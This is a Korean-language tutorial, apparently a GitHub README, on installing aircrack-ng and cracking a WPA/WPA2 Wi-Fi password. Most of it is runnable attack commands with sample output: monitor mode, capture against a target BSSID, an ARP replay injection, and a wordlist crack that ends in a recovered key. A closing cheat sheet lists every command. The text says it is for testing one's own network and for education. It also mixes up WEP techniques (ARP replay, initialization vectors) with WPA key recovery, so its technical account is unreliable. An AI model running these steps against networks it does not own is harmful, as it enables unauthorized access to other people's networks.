Aircrack-ng는 기본적으로 다음 목표를 달성하기 위해 제작된 네트워크 소프트웨어 제품군입니다.
현재 튜토리얼은 완전한 가이드가 아니며, 오히려 자신의 네트워크 보안을 테스트하고 개념을 익히기 위한 몇 가지 기본 기술을 구축하기 위한 것입니다.
아래에 설명된 공격은 수동적 기술(ARP 요청 재생 공격)을 기반으로 하며 이미 주입을 위해 패치된 드라이버와 함께 작동하는 무선 카드가 있다는 가정하에 데비안 기반 배포판에 중점을 둡니다.
Aircrack-ng는 소스 코드를 컴파일하여 데비안 기반 운영 체제에 설치할 수 있습니다. (자세한 내용은 공식 웹 사이트를 방문하세요)
아래에서 Debian 기반 운영 체제용 aircrack-ng를 빌드하기 위한 기본 요구 사항을 설치하는 지침을 찾을 수 있습니다.
$ sudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
aircrack-ng의 최신 사본을 얻으십시오:
$ git clone https://github.com/aircrack-ng/aircrack-ng
$ cd aircrack-ng
aircrack-ng를 빌드하려면 Autotools 빌드 시스템이 사용됩니다. 먼저 ./configure
적절한 옵션을 사용하여 빌드할 프로젝트를 구성합니다.
$ autoreconf -i
$ ./configure --with-experimental
다음으로 make
명령으로 프로젝트를 컴파일하고 아래 나열된 추가 대상 중 "installing" 대상을 사용하여 설치를 완료합니다.
make check
make integration
make install
make uninstall
이 단계의 목적은 카드가 주입을 성공적으로 지원하는지 확인하는 것입니다. 인터페이스 이름이 "wlan0"이라고 가정하고(터미널에서 iwconfig
입력하여 검색할 수 있음) 다음 명령을 입력합니다.
# aireplay-ng --test wlan0
시스템은 다음과 같이 응답합니다.
18:10:59 wlan0 channel: 10
18:10:59 Trying broadcast probe requests...
18:10:59 Injection is working!
18:11:00 Found 1 AP
...
이는 카드가 패킷을 주입할 수 있음을 확인합니다.
가장 먼저 해야 할 일은 airmon-ng
사용하여 무선 카드를 모니터 모드로 전환하는 잠재적인 대상을 찾는 것입니다. 그러나 aircrack-ng 제품군을 사용하기 전에 방해하는 모든 프로세스를 kill
것이 좋습니다.
# airmon-ng check kill
Killing these processes:
PID Name
870 dhclient
1115 wpa_supplicant
그런 다음 다른 인터페이스(mon0)를 생성하는 데 사용되는 모니터 모드를 활성화할 수 있습니다.
# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9485
(monitor mode enabled for [phy0]wlan0 on [phy0]mon0)
"wlan0"이 성공적으로 모니터 모드로 전환되었음을 알 수 있습니다. 그런 다음 airodump-ng
시작하여 네트워크를 찾습니다.
# airodump-ng mon0
크랙하려는 무선 네트워크를 찾고 다음 출력에서 해당 BSSID와 채널을 기록해 둡니다.
CH 10 ][ Elapsed: 36 s][2019-05-15 18:15
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
...
출력의 상단 부분에는 범위 내의 AP에 대한 정보가 나열되고 하단 부분에는 해당 AP에 연결된 클라이언트가 나열됩니다.
다른 콘솔 세션을 열어 대상에서 생성된 초기 벡터를 캡처하고 결과를 파일에 저장합니다.
# airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
여기서 -c 10
은 무선 네트워크의 채널이고, --bssid 08:00:BF:E6:31:2E
는 AP의 MAC 주소이고, -w output-file
초기화 벡터를 포함할 출력 파일을 정의합니다. mon0
은 인터페이스 이름입니다.
시스템은 다음과 같이 응답합니다.
CH 10 ][ Elapsed: 12 s][2019-05-15 18:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
BSSID STATION PWR Lost Packets Probes
08:00:BF:E6:31:2E 00:0F:35:51:AC:22 -21 0 183782
명령을 실행하면 다양한 파일이 생성됩니다.
전통적인 ARP 요청 재생 공격은 새로운 초기화 벡터를 생성하는 가장 효과적인 방법이며 매우 안정적으로 작동합니다. 이 단계의 목적은 ARP 요청을 수신한 다음 이를 액세스 포인트에 다시 주입하는 모드에서 aireplay-ng
시작하는 것입니다. airodump-ng
및 aireplay-ng
계속 실행하고 다른 터미널을 열고 ARP 요청 재생 공격을 실행하십시오.
# aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 618643 packets (got 304896 ARP requests), sent 194947 packets...
airodump-ng
화면을 보면 패킷이 주입되었는지 확인할 수 있습니다.
이 시점에서 이전 단계에서 수집한 초기화 벡터에서 WPA 키를 얻을 수 있어야 합니다. 이 공격을 수행하려면 단어 목록이 필요하며 네트워크 암호가 단어 파일에 없으면 암호를 해독할 수 없습니다. 대부분의 WPA/WPA2 라우터에는 많은 사용자가 (당연히) 변경하지 않은 강력한 12자의 임의 비밀번호가 제공됩니다. 이러한 비밀번호 중 하나를 해독하려는 경우 WPA 길이 비밀번호 목록을 사용하는 것이 좋습니다.
다른 콘솔 세션을 열고 다음을 입력합니다.
# aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output * .cap
여기서 -a2
WPA/WPA2-PSK에 대한 공격 모드를 지정하고, -w wordlist.txt
자체 사전 단어 목록을 참조하며, output*.cap
.cap
확장자를 가진 모든 출력 파일을 선택합니다.
성공적인 공격의 결과는 다음과 같습니다.
Aircrack-ng 1.5.2
[00:00:00] 192/1229 keys tested (520.04 k/s)
Time left: 0 seconds 15.62%
KEY FOUND! [ notsecure ]
Master Key : 42 28 5E 5A 73 33 90 E9 34 CC A6 C3 B1 CE 97 CA
06 10 96 05 CC 13 FC 53 B0 61 5C 19 45 9A CE 63
Transient Key : 86 D0 43 C9 AA 47 F8 03 2F 71 3F 53 D6 65 F3 F3
86 36 52 0F 48 1E 57 4A 10 F8 B6 A0 78 30 22 1E
4E 77 F0 5E 1F FC 73 69 CA 35 5B 54 4D B0 EC 1A
90 FE D0 B9 33 06 60 F9 33 4B CF 30 B4 A8 AE 3A
EAPOL HMAC : 8E 52 1B 51 E8 F2 7E ED 95 F4 CF D2 C6 D0 F0 68
아래에서 WPA/WPA2 네트워크를 크랙하는 데 필요한 모든 명령 목록을 찾을 수 있습니다.
# kill all interfering processes prior to using the aircrack-ng
airmon-ng check kill
# put your network device into monitor mode
airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
# start listening for the handshake on a new console session
airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
# start the ARP request replay attack
aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
# run aircrack-ng to obtain the WPA key
aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 튜토리얼은 교육 목적으로만 제작되었으며 악의적인 관행을 조장하지 않으며 불법적인 활동에 대해 책임을 지지 않습니다.